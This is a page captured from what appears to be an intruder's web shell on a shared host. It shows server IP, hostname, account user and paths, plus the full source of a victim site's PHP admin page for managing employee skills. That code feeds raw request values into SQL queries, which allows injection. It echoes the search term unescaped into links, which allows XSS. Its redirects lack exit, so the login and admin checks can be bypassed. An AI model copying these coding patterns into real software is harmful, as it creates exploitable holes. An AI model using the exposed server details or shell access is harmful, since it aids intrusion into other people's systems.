MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.135.209.107
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/greenenvirofoundation.com/../shsindia.com/crm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/greenenvirofoundation.com/../shsindia.com/crm/manage-emp-skills.php
<?php
include_once('include/config.php');
if (!isLoggedIn()) {
    $_SESSION['msg'] = "You must log in first";
    header('location: login.php');
}
if (!isAdmin()) {
    $_SESSION['msg'] = "You are not Admin";
    header('location: login.php');
}

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    if (isset($_POST['active'])) {
       // Handle the active logic here
       $checkedIDs = $_POST['checkedIDs'];
   
       foreach ($checkedIDs as $pageID) {
           $sql = "UPDATE tbl_emp_skills SET skill_status='Active' WHERE sk_id='$pageID'";
           $result = mysqli_query($db, $sql) or die("Query unsuccessful");
       }
   
       if ($result) {
           echo "<script>
                   window.alert('Activated successfully.');
                   window.location.href = 'manage-emp-skills.php';
                 </script>";
       }
     }
   
      if (isset($_POST['inactive'])) {
       // Handle the inactive logic here
       $checkedIDs = $_POST['checkedIDs'];
   
       foreach ($checkedIDs as $pageID) {
           $sql = "UPDATE tbl_emp_skills SET skill_status='Inactive' WHERE sk_id='$pageID'";
           $result = mysqli_query($db, $sql) or die("Query unsuccessful");
       }
   
       if ($result) {
           echo "<script>
                   window.alert('Deactivated successfully.');
                   window.location.href = 'manage-emp-skills.php';
                 </script>";
       }
     }
     
     if (isset($_POST['archive'])) {
       // Handle the inactive logic here
       $checkedIDs = $_POST['checkedIDs'];
   
       foreach ($checkedIDs as $pageID) {
           $sql = "UPDATE tbl_emp_skills SET skill_status='Archive' WHERE sk_id='$pageID'";
           $result = mysqli_query($db, $sql) or die("Query unsuccessful");
       }
   
       if ($result) {
           echo "<script>
                   window.alert('Archive successfully.');
                   window.location.href = 'manage-emp-skills.php';
                 </script>";
       }
     }
     
    if (isset($_POST['delete'])) {
       // Handle the inactive logic here
       $checkedIDs = $_POST['checkedIDs'];
   
       foreach ($checkedIDs as $pageID) {
           $sql = "DELETE FROM `tbl_emp_skills` WHERE sk_id='$pageID'";
           $result = mysqli_query($db, $sql) or die("Query unsuccessful");
       }
   
       if($result){
          echo "<script>
                window.alert('Deleted successfully.');
                window.location.href = 'manage-emp-skills.php';
                </script>";	
         }
     }
    
    // if (isset($_POST['delete'])) {
    //     $pageID=$_POST['pageID'];
    //     $sql="DELETE FROM `tbl_emp_skills` WHERE sk_id='$pageID' ";	
    //     $result=mysqli_query($db, $sql) or die("Query unsuccessful");	
    //     if($result){
    //       echo "<script>
    //             window.alert('Page Deleted successfully.');
    //             window.location.href = 'manage-emp-skills.php';
    //             </script>";	
    //      }
    // }
    
    if (isset($_POST['Update-order'])) {
    $pageIDs = $_POST['paID'];
    $site_pages_order_bys = $_POST['site_pages_order_by'];
    $stmt = my_prepared("UPDATE tbl_emp_skills SET emp_order = ? WHERE sk_id = ?");

    for ($i = 0; $i < count($pageIDs); $i++) {
        $pageID = $pageIDs[$i];
        $orderValue = $site_pages_order_bys[$i];

        mysqli_stmt_bind_param($stmt, 'ii', $orderValue, $pageID);
        $result = mysqli_stmt_execute($stmt);

        if (!$result) {
            die("Query unsuccessful: " . mysqli_error($db));
        }
     }
     mysqli_stmt_close($stmt);
     header("Location: manage-emp-skills.php");
     exit();
  }

}
?>
<!DOCTYPE html>
<html lang="en">
    
<head>
    <?php include "top-links.php"?>
</head>

<body>
    <div class="wrapper">
    <?php include "header.php"?>

    <?php include "sidebar.php"?>

        <div class="content-page">
            <div class="content">

                <!-- Start Content-->
                <div class="container-fluid">
                <div class="row">
                        <div class="col-12">
                            <div class="card">
                                <div class="card-header">
                                    <h4 class="header-title">Manage Empolyee Skills</h4>
                                    <button  onclick="window.location.href='add-emp-skill.php'" class="float-left"> + Add Empolyee Skill</button>
                                </div>
                                <div class="card-body">
                                    <div class="row">
                                        <div class="col-6">
                                            <div class="form-group" style="width:100px;">
                                                <label for="entriesPerPage">Show entries:</label>
                                                <select class="form-control" id="entriesPerPage" onchange="changeEntriesPerPage(this.value)">
                                                    <option value="20" <?php if ($limit == 20) echo "selected"; ?>>20</option>
                                                    <option value="50" <?php if ($limit == 50) echo "selected"; ?>>50</option>
                                                    <option value="100" <?php if ($limit == 100) echo "selected"; ?>>100</option>
                                                    <option value="500" <?php if ($limit == 500) echo "selected"; ?>>500</option>
                                                </select>
                                            </div>
                                        </div>
                                        
                                    </div><hr>
                                    <table id="basic-datatable" class="table table-striped dt-responsive nowrap w-100">
                                        <thead>
                                            <tr>
                                                <th>Sr No</th>
                                                <th>Empolyee Skill</th>
                                                <!--<th>Image</th>-->
                                                <th>Status</th>
                                                <th class="text-center"><input type="checkbox" id="selectAll"/></th>
                                                <th>Edit</th>
                                                <!--<th>Delete</th>-->
                                            </tr>
                                        </thead>
                                        <form method="POST" action="<?php $_PHP_SELF?>" onsubmit="return validateForm()">
                                        <tbody>
                                            <?php
                                                $limit = isset($_GET['entries']) ? $_GET['entries'] : 20;
                                                $page = isset($_GET['page']) ? $_GET['page'] : 1;
                                                $start = ($page - 1) * $limit;
                                                $searchTerm = isset($_GET['search']) ? $_GET['search'] : '';
                                                $sql = "SELECT * FROM `tbl_emp_skills`";
                                                if (!empty($searchTerm)) {
                                                    $sql .= " WHERE `skill_name` LIKE '%$searchTerm%'";
                                                }
                                                $sql .= " ORDER BY sk_id DESC LIMIT $start, $limit";
                                                $run = mysqli_query($db, $sql) or die("Query Not run");
                                                $count = $start;
                                                while ($data = mysqli_fetch_assoc($run)) {
                                                $count++;
                                            ?>
                                                <tr>
                                                    <td><?php echo $count; ?></td>
                                                    <td><?php echo $data['skill_name']; ?></td>
                                                    <td class="text-center">
                                                        <?php if($data["skill_status"]=="Active"){?>
                                                        <button type="button" class="btn btn-primary"><span class="label label-default">Active</span></button>
                                                        <?php }elseif($data["skill_status"]=="Archive"){?>
                                                        <button type="button" class="btn btn-warning"><span class="label label-default">Archive</span></button>
                                                        <?php }else{?>
                                                        <button type="button" class="btn btn-danger"><span class="label label-default">Inactive</span></button>
                                                        <?php }?>
                                                    </td>
                                                    <td class="text-center">
                                                        <input type="checkbox" name="checkedIDs[]" class="selectItem" value="<?php echo $data["sk_id"]?>" />
                                                        <input type="hidden" name="pageID[]" value="<?php echo $data["sk_id"]?>">
                                                    </td>
                                                    <td><a href="edit-emp-skill.php?id=<?php echo $data['sk_id']; ?>"><i class="ri-edit-fill" style="font-size: medium; color: green;"></i> </a></td>
                                                    <!--<td>-->
                                                    <!--    <form action="" method="POST">-->
                                                    <!--        <input type="hidden" name="id" value="">-->
                                                    <!--        <button name="delete_employee" type="submit" style="border:none;"><i class="ri-delete-bin-fill" style="font-size: x-large; color: red;"></i></button>-->
                                                    <!--    </form>-->
                                                    <!--</td>-->
                                
                                                </tr>
                                            <?php } ?>
                                        </tbody>
                                        <tfoot>
                                        <tr style="text-align: right;"> 
                                            <td colspan="10" class="text-right">
                                                <button type="submit" name="active" class="btn btn-success pull-right mr5" >Active</button>
                                                <button type="submit" name="inactive" class="btn btn-danger pull-right mr5" >Inactive</button>
                                                <button type="submit" name="archive" class="btn btn-warning pull-right mr5" >Archive</button>
                                                <button type="submit" name="delete" class="btn btn-danger pull-right mr5" >Delete</button>
                                            </td>
                                        </tr> 
                                        <tfoot>
                                        </form>
                                    </table>
                                
                                    <?php
                                    // Pagination
                                    $sqlCount = "SELECT COUNT(*) AS total FROM `tbl_emp_skills`";
                                    if (!empty($searchTerm)) {
                                        $sqlCount .= " WHERE `skill_name` LIKE '%$searchTerm%'"; // Assuming 'skill_name' is the column you want to search
                                    }
                                    $result = mysqli_query($db, $sqlCount);
                                    $row = mysqli_fetch_assoc($result);
                                    $total_records = $row['total'];
                                    $total_pages = ceil($total_records / $limit);
                                    $range = 10;
                                    ?>
                                    <?php if ($total_pages > 1) { // Only show pagination if there's more than one page ?>
                                        <ul class='pagination' style='text-align: right;'>
                                            <?php if ($page > 1) { // Show 'First' and 'Previous' links ?>
                                                <li class='page-item'><a class='page-link' href='?page=1&entries=<?php echo $limit; ?>&search=<?php echo $searchTerm; ?>'>First</a></li>
                                                <li class='page-item'><a class='page-link' href='?page=<?php echo ($page - 1); ?>&entries=<?php echo $limit; ?>&search=<?php echo $searchTerm; ?>'>&laquo;</a></li>
                                            <?php } ?>
                                            
                                            <?php
                                            // Display page numbers within the specified range
                                            for ($i = max(1, $page - $range); $i <= min($page + $range, $total_pages); $i++) {
                                                $activeClass = ($page == $i) ? "active" : "";
                                                echo "<li class='page-item $activeClass'><a class='page-link' href='?page=$i&entries=$limit&search=$searchTerm'>$i</a></li>";
                                            }
                                            ?>
                                            
                                            <?php if ($page < $total_pages) { // Show 'Next' and 'Last' links ?>
                                                <li class='page-item'><a class='page-link' href='?page=<?php echo ($page + 1); ?>&entries=<?php echo $limit; ?>&search=<?php echo $searchTerm; ?>'>&raquo;</a></li>
                                                <li class='page-item'><a class='page-link' href='?page=<?php echo $total_pages; ?>&entries=<?php echo $limit; ?>&search=<?php echo $searchTerm; ?>'>Last</a></li>
                                            <?php } ?>
                                        </ul>
                                    <?php } ?>

                                </div>
                                 <!-- end card body-->
                            </div> <!-- end card -->
                        </div><!-- end col-->
                    </div> 
                    </div>
                    </div>
    </div>
</div>

<?php include "footer.php"?>

</body>
</html>

MMCT - 2023